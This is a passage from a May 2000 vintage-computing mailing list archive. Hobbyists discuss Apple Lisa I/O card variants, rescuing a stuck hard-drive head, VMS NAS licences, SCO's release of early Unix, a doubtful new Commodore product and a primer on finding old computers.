have a > dual plug set up, HPIB and this larger Centronics type connector. I am sure I > don't have the large cable though. I have lots of HPIB cables. > > Paxton > From wmsmith at earthlink.net Sat May 13 14:04:44 2000 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 18:51:42 2005 Subject: Lisa I/O Card Question References: <005b01bfbb24$85670040$160917d4@zen.co.uk> Message-ID: <002001bfbd0e$1aa3d6c0$f099b2d1@Smith.earthlink.net> This should be an easy question for one of you Lisa experts to answer. I have a Lisa 2/5 with H8 ROM which has the following I/O card, no. 820-4033-A: http://home.earthlink.net/~wmsmith/_uimages/Lisa_IO_820 -4033-A.jpg Some time ago I came across a different I/O card, no. 820-4033-A2: http://home.earthlink.net/~wmsmith/_uimages/Lisa_IO_820 -4033-A2.jpg I have heard that this second A2 version of the card, which lacks the leaky batteries, is the "Mac XL" version. But, what exactly does this mean? Will it only support a Widget drive and not a Profile? The disk controller ROM, second chip in on the upper left on the A2 version is no. 341-0281-D. Thanks, all. -W From ard at p850ug1.demon.co.uk Sat May 13 14:50:11 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:42 2005 Subject: DEC stuff In-Reply-To: <3.0.1.16.20000513101955.265ff69e@mailhost.intellistar.net> from "Joe" at May 13, 0 10:19:55 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2552 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000513/ada3ad27/attachment.ksh From allisonp at world.std.com Sat May 13 16:57:21 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:42 2005 Subject: DEC stuff Message-ID: <008c01bfbd27$ec1bc3c0$7364c0d0@ajp166> >If that fails, then you can try opening the HDA (screws on top) and >freeing the head by hand. Needless to say this should really be done in a >clean room, but you can _often_ get away with doing it in a normal room >if you keep the dust down (obviously, don't smoke, and keep the cat out >of the way :-)). Hints for those that have to resort to this. First clean the outside well, use compressed air and a damp rag to wipe it. This gets rid of local dust Wipe the area too. then wash hands, you laugh! Washing the hands gets rid of oils and dust that and all. Now, you can open the cover, use clean tools as well. once the cover is loose you can get inside. To do this part the drive needs to be powered as it's not safe to move the heads with the platter not rotating. Control cables are not needed, just power. Power up and observe the platters and heads, likely you will see spin up but, no head movement. If this is the case with the patters spinning give the head arm a push, if thing go well it will sweep the full travel then home in on track 0000. Now the drive can be covered. For the brave used to fine work a liitle plastic (clear packing tape) over the offending bumper will prevent this from happening again. hopefully the rescued drive has no other problems and an OS. If the head will not move the head lock (under the HDA and controboards on the bottom may be stuck. if it is put the cover on flip it over and remove the solenoid (it will run fine without it, never ship it though!). Retry the spinup. I've done this on several drives, all of which I still use. What makes this work is the basic design and physics. Spin those platters at 3600 rpm and landing on them heads for the walls. Since there is rotation there is a basic airflow pattern that insures and dust in side gets picked up. Fingerprints on the platter are bad though but I've never had a crashed one, though I did take one with other bad problems and try a few things. Oh, it took writing on the platter with pencil to make the head crash. ;) Anywho I've found this drive has two problems, heat and heat. The bumper problem is heat related. So if you keep the drive cool it does seem to last many years. this is true for a lot of the older drives. Keep them fans goin. Allison From eric at brouhaha.com Sat May 13 19:28:52 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:42 2005 Subject: Lisa I/O Card Question In-Reply-To: <002001bfbd0e$1aa3d6c0$f099b2d1@Smith.earthlink.net> (wmsmith@earthlink.net) References: <005b01bfbb24$85670040$160917d4@zen.co.uk> <002001bfbd0e$1aa3d6c0$f099b2d1@Smith.earthlink.net> Message-ID: <20000514002852.10469.qmail@brouhaha.com> "Wayne M. Smith" writes: > I have a Lisa 2/5 with H8 ROM which has the following > I/O card, no. 820-4033-A: > http://home.earthlink.net/~wmsmith/_uimages/Lisa_IO_820-4033-A.jpg This card works in a Lisa 1, Lisa 2 (no hard drive), and Lisa 2/5 (external profile). It has support for two floppy drives, although that only works with Twiggy drives. It does not support an internal hard drive. > Some time ago I came across a different I/O card, no. 820-4033-A2: > http://home.earthlink.net/~wmsmith/_uimages/Lisa_IO_820-4033-A2.jpg That card works in a Lisa 2/10 or Macintosh XL. It supports one 400K 3.5 inch drive (or 800K with Sun Remarketing's modified firmware), and one internal Widget hard drive. The two cards are not interchangeable. The Lisa 2/10 and Macintosh XL use a different backplane. IIRC, the connectors are offset so that the old I/O card will only plug into the old backplane, and the new I/O card into the new backplane. But even if I'm mistaken about that, I'm rather more certain that the cards aren't electrically interchangeable, since I've been looking at the schematics just recently. Among other differences, the floppy drive motor speed control is done differently. The old I/O card was designed to serially shift the motor speed control byte into the disk drive; when they upgraded to the 400K 3.5 inch drives, they had to add a "Lisa Lite" adapter card to convert the serial bits into a PWM signal. The new I/O card generates PWM on the card. The old I/O card had a socket for an AMD 9511 (or 9512) math coprocessor, which was never used by any production Lisa (or Macintosh) software. The new I/O card instead has a footprint (but usually not a socket) for a Western Digital WD2001 DES crypto chip, which also was never used by any production Lisa or Macintosh software. There are other minor differences between the two cards; I haven't bothered to track them all down. Eric From mew_jac at swbell.net Sat May 13 20:51:32 2000 From: mew_jac at swbell.net (Mitch Wright) Date: Sun Feb 27 18:51:42 2005 Subject: PDP-11 support for GNU binutils Message-ID: <0FUJ005PT15V2M@mta2.rcsntx.swbell.net> Check this: http://news.nocrew.org/display.html?id=83 From mrbill at mrbill.net Sat May 13 21:45:19 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:51:42 2005 Subject: Proxim RangeLAN wireless stuff Message-ID: <20000513214519.K27252@mrbill.net> Its very close ('92-93) to ten years old, but I'll be brief - anybody know of a use for some Proxim RangeLAN/ISA cards and a still-new-in-box RangeLAN/PCMCIA kit? Please reply to me offline. Bill -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From cmcmanis at mcmanis.com Sat May 13 21:56:15 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:42 2005 Subject: What is NAS ? Message-ID: <4.3.1.2.20000513195428.02ea8100@208.226.86.10> Ok, I've confirmed that you can in fact reproduce the VMS Consolidated distribution using a suitably equipped machine with a CD-R drive. Now, one question I have is what is "NAS" ? There are 12 disks of layered products, one OS disk, one supplementary products disk, and two NAS disks. What is/was NAS? --Chuck From jsowden at americansentry.net Sat May 13 15:17:10 2000 From: jsowden at americansentry.net (John Sowden) Date: Sun Feb 27 18:51:42 2005 Subject: Classic Mac Help In-Reply-To: <0FUJ005PT15V2M@mta2.rcsntx.swbell.net> Message-ID: <4.3.1.0.20000513201549.00ac2890@pop3.neteze.com> >What is a good URL/NG for getting assistance with Classic Macs? tia, john From marvin at rain.org Sun May 14 01:06:59 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:51:42 2005 Subject: Gold's Auction Heads Up References: <4.3.1.2.20000513195428.02ea8100@208.226.86.10> Message-ID: <391E4283.F9AE267@rain.org> For anyone who might be interested, Golds has the following for sale. The prices look like they have gone up a bit since the last one. Both items are starting at $7.50 and currently have no bids with 5 days left in the auction. Digital Computer PDP11 Interface Handbook! http://www.goldsauction.com/apps/viewItem.html?ItemID=418801 Digital Computer PDP11 04/34/45/55 Handbook! http://www.goldsauction.com/apps/viewItem.html?ItemID=418806 From wmsmith at earthlink.net Sun May 14 01:34:32 2000 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 18:51:42 2005 Subject: Classic Mac Help References: <4.3.1.0.20000513201549.00ac2890@pop3.neteze.com> Message-ID: <006801bfbd6e$77060a40$f099b2d1@Smith.earthlink.net> A good URL is: http://www.jagshouse.com/classic.html As stated therein: The Classic Macs mailing list (for all old Macs, not just the Classic series) will put you in touch with a lot of knowledgeable folk. Highly recommended. To subscribe, send e-mail to Majordomo@hitznet.com. In the body of the message write: subscribe classics The Classic Macs Archives are found at: http://www.zws.com/classicmacs/ Enjoy. -W ----- Original Message ----- From: John Sowden To: Sent: Saturday, May 13, 2000 1:17 PM Subject: Classic Mac Help > > >What is a good URL/NG for getting assistance with Classic Macs? > > > tia, john > > > > From marvin at rain.org Sun May 14 01:40:40 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:51:42 2005 Subject: Another Gold's Item References: <4.3.1.2.20000513195428.02ea8100@208.226.86.10> Message-ID: <391E4A68.8589DBEF@rain.org> Missed one, this is again $7.50 with 6 days left in the auction and no bids. Digital LSI-11 Memories and Peripherals http://www.goldsauction.com/apps/viewItem.html?ItemID=419844 From vcf at siconic.com Sun May 14 02:26:59 2000 From: vcf at siconic.com (Vintage Computer Festival) Date: Sun Feb 27 18:51:42 2005 Subject: Donate old computer gear.... (fwd) Message-ID: Here's a chap in Cambridge, UK, who's got an Osborne portable that needs a new home. I don't know if it's an original portable or not. The original portable has a tan case. The newer version has a grey & blue case. The Osborne Executive (pretty much similar to the Osborne 1 but with some improvements) has a grey & black case. Please contact the original sender directly to inquire. Reply-to: ILygo@aol.com ---------- Forwarded message ---------- Date: Sat, 13 May 2000 13:05:51 EDT From: ILygo@aol.com Subject: Donate old computer gear.... Donate Your Old Computer Stuff to the Vintage Technology Cooperative Resource Center I found your web site for the VCF and noted the above section. I have an Osborne portable CPM computer with CPM software, Word Supercalc 1 etc. I do not want to dump it as it got me started in this great but sometimes frustrating business of computing (I currently contract using Lotus Domino to build Knowledge Management systems and intranets). The snag is I am in the UK (near Cambridge). Ian Lygo Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From mikeford at socal.rr.com Sun May 14 04:36:18 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:42 2005 Subject: Classic Mac Help In-Reply-To: <4.3.1.0.20000513201549.00ac2890@pop3.neteze.com> References: <0FUJ005PT15V2M@mta2.rcsntx.swbell.net> Message-ID: >>What is a good URL/NG for getting assistance with Classic Macs? > > >tia, john http://lowendmac.com/ Good site info, several mailing lists. From CLASSICCMP at trailing-edge.com Sun May 14 06:34:51 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:51:42 2005 Subject: What is NAS ? Message-ID: <000514073451.2020c41a@trailing-edge.com> >Ok, I've confirmed that you can in fact reproduce the VMS Consolidated >distribution using a suitably equipped machine with a CD-R drive. Now, one >question I have is what is "NAS" ? There are 12 disks of layered products, >one OS disk, one supplementary products disk, and two NAS disks. What >is/was NAS? I forget what NAS was originally supposed to stand for, but it consists of the "basic necessities" for modern operation. Workstation NAS is a package consisting of DECWindows/Motif, DECNET, TCP/IP, some network printing stuff, and a VMScluster license. Server NAS is a package consisting of the above plus Pathworks, Volume Shadowing, and a few other things. The exact "other things" depends on the exact NAS package (there higher the number, the more extra stuff - the numbers I'm familiar with are 150, 250, and 400.) -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From jrkeys at concentric.net Sun May 14 09:24:01 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:51:42 2005 Subject: Classic Mac Help References: <4.3.1.0.20000513201549.00ac2890@pop3.neteze.com> Message-ID: <001901bfbdb0$0de88820$1f711fd1@default> Try classic-post@hitznet.com I always find good info there. John ----- Original Message ----- From: John Sowden To: Sent: Saturday, May 13, 2000 3:17 PM Subject: Classic Mac Help > > >What is a good URL/NG for getting assistance with Classic Macs? > > > tia, john > > > > From healyzh at aracnet.com Sun May 14 09:58:55 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:42 2005 Subject: What is NAS ? In-Reply-To: <000514073451.2020c41a@trailing-edge.com> Message-ID: >I forget what NAS was originally supposed to stand for, but it >consists of the "basic necessities" for modern operation. Workstation NAS = NET-APP-SUP which I would assume equals "Network Applications Support". Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From rickb at bensene.com Sun May 14 10:46:21 2000 From: rickb at bensene.com (Rick Bensene) Date: Sun Feb 27 18:51:42 2005 Subject: Proxim RangeLAN wireless stuff In-Reply-To: <20000513214519.K27252@mrbill.net> Message-ID: You could build a peer-to-peer wireless network, but without one of the 'base stations' (that functions as a gateway between the wireless\ network to the wired network) it'd be tough to do much else. Rick Bensene The Old Calcualtors Web Museum http://www.geocities.com/oldcalculators Bill Bradford wrote: > Its very close ('92-93) to ten years old, but I'll be brief - anybody > know of a use for some Proxim RangeLAN/ISA cards and a still-new-in-box > RangeLAN/PCMCIA kit? Please reply to me offline. From rhudson at ix.netcom.com Sun May 14 12:51:36 2000 From: rhudson at ix.netcom.com (Ron Hudson) Date: Sun Feb 27 18:51:42 2005 Subject: TRS-80 Model 100 font References: <0FUJ005PT15V2M@mta2.rcsntx.swbell.net> Message-ID: <391EE7A8.96EEE1D4@ix.netcom.com> Anyone have a font for windows that has the TRS-80 model 100 charachters? (ot any good programs for making bitmap fonts for windows(freeware please)) I have the first draft of my model 100 basic quick reference. it's a word97 document that will print, when made double sided it will fold into a pamphlet sized qick reference guide. -Function keys -Numeric and String Operators -Relational Operators -Operator Hierarchy -Data Ranges -Declaration Tags -Error Codes -Basic Keywords Send me email off list and I will reply with the file attached. From cmcmanis at mcmanis.com Sun May 14 13:09:39 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:42 2005 Subject: What is NAS ? In-Reply-To: References: <000514073451.2020c41a@trailing-edge.com> Message-ID: <4.3.1.2.20000514110832.02325100@208.226.86.10> At 07:58 AM 5/14/00 -0700, you wrote: > >I forget what NAS was originally supposed to stand for, but it > >consists of the "basic necessities" for modern operation. Workstation >NAS = NET-APP-SUP which I would assume equals "Network Applications Support". >| Zane H. Healy | UNIX Systems Adminstrator | Ok, so does the hobbyiest license include a license to run DECnet? I tried running NETCONFIG and it complained that I didn't have a license for DECnet and I looked at the layered products and didn't see one in that list either. --Chuck From healyzh at aracnet.com Sun May 14 13:40:18 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:42 2005 Subject: What is NAS ? In-Reply-To: <4.3.1.2.20000514110832.02325100@208.226.86.10> References: <000514073451.2020c41a@trailing-edge.com> Message-ID: >Ok, so does the hobbyiest license include a license to run DECnet? I tried >running NETCONFIG and it complained that I didn't have a license for DECnet >and I looked at the layered products and didn't see one in that list either. > >--Chuck DVNETEND -- End Node DVNETEXT -- ? UCX -- TCP/IP The commercial NAS licenses would look something like NET-APP-SUP-150 or NET-APP-SUP-250, these aren't included in the Hobbyist licenses. I believe a NAS150 is standard with any new OpenVMS box, and takes the place of at least DVNETEND, and UCX, but I might be wrong. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From dogas at leading.net Sun May 14 17:12:55 2000 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:51:42 2005 Subject: Cosmos spoken for. ;) Message-ID: <000901bfbdf1$90b34920$ca646464@dogclient01> Stephen Hawkin was on Larry King last night. Quite the remarkable fellow. They also clipped in a shot of Cosmos, the computer being used in today's quantum cunstructions on the theory of everything. Carl Sagan was a god of mine, so I just wanted to call dibs on ole Cosmos when she's decommissioned. ;) Anyone have any specs on the machine? ;) Mike: dogas@leading.net -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000514/6766b522/attachment.html From mrbill at mrbill.net Sun May 14 18:25:34 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:51:42 2005 Subject: [ecollins@outstart.com: SCO site has Unix for download] Message-ID: <20000514182534.R27252@mrbill.net> ----- Forwarded message from Efton Collins ----- From: "Efton Collins" To: Subject: SCO site has Unix for download Date: Sun, 14 May 2000 01:46:34 -0400 Hey, You may have seen it already, but I haven't seen an announcement on the PUPS list - SCO has got Unix 5th, 6th and 7th Editions, Mini Unix, System III and 32V available on their site for download. You can access them by going to www.sco.com/offers/ancient.html and accepting the license. Congratulations PUPS, this is a milestone. Efton ----- End forwarded message ----- -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From healyzh at aracnet.com Sun May 14 18:43:24 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:42 2005 Subject: SCO site has Unix for download In-Reply-To: <20000514182534.R27252@mrbill.net> Message-ID: >SCO has got Unix 5th, 6th and 7th Editions, Mini Unix, System III and 32V >available on their site for download. You can access them by going to >www.sco.com/offers/ancient.html and accepting the license. > >Congratulations PUPS, this is a milestone. Most cool news! Anyone have the system requirements for Mini Unix, System III, and 32V they've got up? Also, does anyone know if BSD 2.11 is going to be available? I suspect it's the one that I'd be most interested in. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From jruschme at mac.com Sun May 14 19:56:16 2000 From: jruschme at mac.com (John Ruschmeyer) Date: Sun Feb 27 18:51:42 2005 Subject: classiccmp-digest V1 #176 In-Reply-To: <200005142326.SAA00649@opal.tseinc.com> Message-ID: >> Its very close ('92-93) to ten years old, but I'll be brief - anybody >> know of a use for some Proxim RangeLAN/ISA cards and a still-new-in-box >> RangeLAN/PCMCIA kit? Please reply to me offline. > You could build a peer-to-peer wireless network, but without one of > the 'base stations' (that functions as a gateway between the wireless\ > network to the wired network) it'd be tough to do much else. > > Rick Bensene Hmm... why not put the ISA card in a Win9x or Linux box and run some kind of IP-NAT scheme. Essentially, you'd have the equivalent of an Apple AirPort "Software Base Station". -- John Ruschmeyer jruschme@mac.com From allisonp at world.std.com Sun May 14 18:52:05 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:51:42 2005 Subject: What is NAS ? Message-ID: <004e01bfbe07$ef48fe10$7f64c0d0@ajp166> >Ok, so does the hobbyiest license include a license to run DECnet? I tried >running NETCONFIG and it complained that I didn't have a license for DECnet >and I looked at the layered products and didn't see one in that list either. Yes it's included but did you load it? Allison From CLASSICCMP at trailing-edge.com Sun May 14 21:36:34 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:51:42 2005 Subject: What is NAS ? Message-ID: <000514223634.2020c351@trailing-edge.com> >DVNETEND -- End Node >DVNETEXT -- ? >UCX -- TCP/IP DVNETEXT is what you need if you want to be a DECNET routing node. Tim. From RCini at congressfinancial.com Mon May 15 08:19:51 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:51:42 2005 Subject: Is this for real -- a new C64/128 Message-ID: <497A9E0467D2D2119B760090271EB8E50E9109@MAIL10> Check this site out http://www.commodore2000.com The Commodore Evolution (in the development process) looks like a fat PC keyboard. I e-mailed the guy to try to get some more detailed specs. I wonder if this is for real or not. It looks like a recent domain registration. FYI, the domain is owned by: Administrative Contact: Barton, Raymond (rbarton@ONEBOX.COM) Computersnational, inc. 112 Carman Place Amityville , NY 11701 (516) 827-8667 (FAX) (516) 691-1589 Technical Contact, Zone Contact: Mindspring Domreg (domreg@MINDSPRING.COM) Mindspring Enterprises, Inc. 1430 West Peachtree St. NW, Ste. 400 Atlanta, GA 30309 US 888-932-1997 Fax- - 404 815-8805 Record last updated on 24-Nov-1999. Record expires on 11-Oct-2001. Record created on 11-Oct-1999. It looks like it's a small e-commerce Web site hosted by Mindspring. The page link for the PeeCee compatible seems to be broken... Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) From Historical at aol.com Mon May 15 08:26:45 2000 From: Historical at aol.com (Historical@aol.com) Date: Sun Feb 27 18:51:42 2005 Subject: Pirates of Silicon Valley video Message-ID: <28.5a47ca4.26515515@aol.com> Hello everyone, just a reminder that this excellent video is available as of tomorrow. It's a very entertaining movie and gives a good general overview of the specific history regarding Apple and Microsoft. As many may know, it does have some inaccuracies and does glaze over the years after 1984 (big time), but hey, it's worth owning and seeing. It's only $12.99 at Amazon.com. Go to: http://www.amazon.com/exec/obidos/ASIN/0780627717/classicc omputinsA/103-6128965-8638246 Your purchase helps support ClassicComputing.com. Best, David Greelish Publisher Classic Computing Press www.classiccomputing.com From ckaiser at oa.ptloma.edu Mon May 15 09:39:28 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:51:42 2005 Subject: Is this for real -- a new C64/128 In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9109@MAIL10> from "Cini, Richard" at "May 15, 0 09:19:51 am" Message-ID: <200005151439.HAA07490@oa.ptloma.edu> ::Check this site out http://www.commodore2000.com :: :: The Commodore Evolution (in the development process) looks like a ::fat PC keyboard. I e-mailed the guy to try to get some more detailed specs. ::I wonder if this is for real or not. It looks like a recent domain ::registration. Well, the company claims to have the rights. We're all dubious over in comp.sys.cbm, especially after that Web.it crapola debacle (the 486 in sheep's clothing with an emulator in ROM). There's been an awful lot of Commodore-related vapourware these days. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- Whenever people agree with me I always feel I must be wrong. -- Oscar Wilde From RCini at congressfinancial.com Mon May 15 10:01:28 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:51:42 2005 Subject: Is this for real -- a new C64/128 Message-ID: <497A9E0467D2D2119B760090271EB8E50E910E@MAIL10> Cameron: >>here's been an awful lot of Commodore-related vapourware these days. This is why I bring it up. I saw this reference in c.s.c so I took a look at it. If it *is* real, it's an interesting packaging job, sort of a modern one-piece machine. However, he's selling Commodore-badged PeeCees right next to it, so it places the veracity of the ad in question. If I had to guess, this guy may be a local PeeCee clone maker hoping to cash in on the C= name. That notwithstanding, a one-piece B128 with Web browsing, Ethernet, and 6502-compatibility is *very* interesting. I wonder if it has the old serial IEEE port... Hmmm...new...64...BASIC...must...have...new...64... ...no...can't be...dream...aaaaaaaarrrrrrrgggggghhhhh... OK, I feel better now. Rich -----Original Message----- From: Cameron Kaiser [mailto:ckaiser@oa.ptloma.edu] Sent: Monday, May 15, 2000 10:39 AM To: classiccmp@classiccmp.org Subject: Re: Is this for real -- a new C64/128 ::Check this site out http://www.commodore2000.com :: :: The Commodore Evolution (in the development process) looks like a ::fat PC keyboard. I e-mailed the guy to try to get some more detailed specs. ::I wonder if this is for real or not. It looks like a recent domain ::registration. Well, the company claims to have the rights. We're all dubious over in comp.sys.cbm, especially after that Web.it crapola debacle (the 486 in sheep's clothing with an emulator in ROM). There's been an awful lot of Commodore-related vapourware these days. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- Whenever people agree with me I always feel I must be wrong. -- Oscar Wilde From foo at siconic.com Mon May 15 09:45:47 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:42 2005 Subject: Is this for real -- a new C64/128 In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9109@MAIL10> Message-ID: On Mon, 15 May 2000, Cini, Richard wrote: > Check this site out http://www.commodore2000.com > > The Commodore Evolution (in the development process) looks like a > fat PC keyboard. I e-mailed the guy to try to get some more detailed specs. > I wonder if this is for real or not. It looks like a recent domain > registration. See the fine print below the picture: "Possible Design - Give us your input -Info@commodore2000.com" So it basically IS a PC keyboard. The site looks raw enough to dissuade me from believing anything will come out of this. And how is it going to benefit with having a 6502 onboard as claimed if there will also be a 200-500Mhz processor, and everything else indicates emulation? It's obvious this will simply be a PC, and putting together a machine with the specs this one will supposedly have requires some expensive engineering. Look lower on their page, where they advertise the C= PC. I think that tells us what they truly are trying to sell. The "Next Generation C64" is just hype to suck you in. Just my analysis. From richard at idcomm.com Mon May 15 11:06:53 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:51:42 2005 Subject: Is this for real -- a new C64/128 References: Message-ID: <003201bfbe87$96d272e0$0400c0a8@winbook> If you look at this in the context of the IMSAI offering with their pseudo S-100 box with lotsa-features, It starts to point in the direction some folks have predicted with the IMSAI going in one direction and the Commodore in the other. I doubt the latter has any expansion slots, so it may be a "PC for the masses" with little opportunity to make it screw up, much like what we see on notebooks. Since there's a strong push in the direction of a hermetically-sealed internet-PC, with no options, it makes me shudder to think there may be a time, soon, when we have to buy software by the drink, downloading it each time from the net and for a fee, as the Oracle folks would like us to do. I see no effort from anyone else to dispell the notion that that's a good thing. The question of what the role of the 6502 would be is a valid one, though. Maybe they use it to scan the keyboard. Dick ----- Original Message ----- From: Vintage Computer GAWD! To: 'ClassCompList' Sent: Monday, May 15, 2000 8:45 AM Subject: Re: Is this for real -- a new C64/128 > On Mon, 15 May 2000, Cini, Richard wrote: > > > Check this site out http://www.commodore2000.com > > > > The Commodore Evolution (in the development process) looks like a > > fat PC keyboard. I e-mailed the guy to try to get some more detailed specs. > > I wonder if this is for real or not. It looks like a recent domain > > registration. > > See the fine print below the picture: > > "Possible Design - Give us your input -Info@commodore2000.com" > > So it basically IS a PC keyboard. > > The site looks raw enough to dissuade me from believing anything will come > out of this. And how is it going to benefit with having a 6502 onboard as > claimed if there will also be a 200-500Mhz processor, and everything else > indicates emulation? It's obvious this will simply be a PC, and putting > together a machine with the specs this one will supposedly have requires > some expensive engineering. > > Look lower on their page, where they advertise the C= PC. I think that > tells us what they truly are trying to sell. The "Next Generation C64" is > just hype to suck you in. > > Just my analysis. > From dastar at siconic.com Mon May 15 13:42:40 2000 From: dastar at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:51:42 2005 Subject: Finding Vintage Computers - A Primer Message-ID: <200005151748.KAA15198@siconic.com> Comments please! Finding Vintage Computers - A Primer by Sellam Ismail sellam@vintage.org http://www.vintage.org 1st Edition - May 15, 2000 This primer is intended to give you ideas that will help you find vintage computers in and around your general vicinity. It was written to aid the many frustrated collectors who believe they have exhausted their local sources and still cannot find any old computers. Well, I assure you this is not the case. Old computers can be found in a lot of places that you did not consider. Keep these principles in mind when determining what to pay for old computers: * some people are just happy to have their old machine go to a new home * the bigger the machine, the less money it generally sells for * for some large machine, people are sometimes willing to pay you to haul it away Flea Markets/Ham Fests/Car Boot Sales We begin with the most obvious place to find vintage computers, the Flea Market/Ham Fest/Car Boot Sale (I will refer to them as "flea markets"). Flea markets can occur with frequent regularity or just occasionally, from several times a week to perhaps once a year. Usually they are comprised of people trying to get rid of their old junk. At the more general flea market, finding old computers is usually a challenge. Most of what you will find is the sort of junk that you already have stored away in your garage, basement, attic, closet, etc. But occasionally you will find old computers, and the advantage here is that most collectors won't bother with these sorts of flea markets, so the competition is low. You will be more likely to find vintage computers at Ham Fests as most radio guys (and gals) are also computer users. Many Hams were early adopters of microcomputers during the mid- to late-70's and as such are likely targets for finding some of the more interesting early micros such as S-100 bus machines as well as mini-computers. You can generally expect to pay prices in the range of $5 - $50 for most vintage computers that show up at these events. Occasionally stuff can be had for free, since the seller just wants to get rid of it, or you can wait until after the event is over and head over to the trash bins where you will find all the stuff the sellers didn't want to take back home with them. Haggling at flea markets is mandatory. Never pay more for an old computer than you have to. Learning how to haggle properly would take a whole other primer. The way to get good at it is to just go out and do it. If you don't find any vintage computers at Ham Fests, don't get discouraged. The fact is they just haven't found you. It might be well worth your while to rent a space at the next event and put up a table of your own. Display signs indicating you are interested in old computers. A lot of the people attending the ham fests as buyers also have old computers that they'd like to get rid of and you will meet many people this way. The price of a space is usually not very high, perhaps from $10-$50. To find Flea Markets/Ham Fests/Car Boot sales in your area, look in the classified ads section of your local paper or in the small classified periodicals, or check the upcoming events listings for your local fairgrounds as a lot of times those are venues for large flea markets. Better yet, hop on over to http://www.openair.org/ which is an excellent online resource for finding flea markets and ham fests in your area worldwide. Thrift/Charity Shops Another good place to find vintage computers is at your local Thrift (or Charity) store. Almost every city has at least one. The bigger cities will have many. The most common ones (in the United States anyway) are The Salvation Army, Goodwill and St. Vincent de Paul. In my experience, these are NOT good stores to find old computers. Usually they take all incoming computers and sell them at special sales. Or, if old computers do make it into the store, the pieces to it are usually not all together, or in some cases the parts to one computer may have been scattered across multiple stores. The better thrift stores to look in for old computers are the stand-alone stores or the for-profit chains. They usually won't sort through and separate the items and so you're more likely to find old computers at these. Prices vary from ridiculously cheap to just plain ridiculous. Some stores have no concept of a computer being obsolete. To them, a computer is an expensive, fancy device that is worth lots of money, and they price them accordingly. Others don't differentiate between an old computer and an old toaster, and will sell computer items at the same prices they sell the rest of their appliances, in many cases for only a few dollars or less. Some stores try to price computer items separately but can't tell the difference between modern day PC components and old computer parts, and as a result you'll see vintage machines selling for the same price as the more modern machines. Some thrift stores will slash the price of their items for every week that it does not sell. If something is priced too high you might wait until the following week and buy it at half off! Ask the store what their policy is. While you're at it, don't be afraid to make an offer on an item you are interested in. Haggling at thrift stores is OK. To find thrift stores, look in your local phone book, or check the web. Many of the larger institutions now have websites that will direct you to the nearest store. Search for them online. Electronics Surplus Shops If you 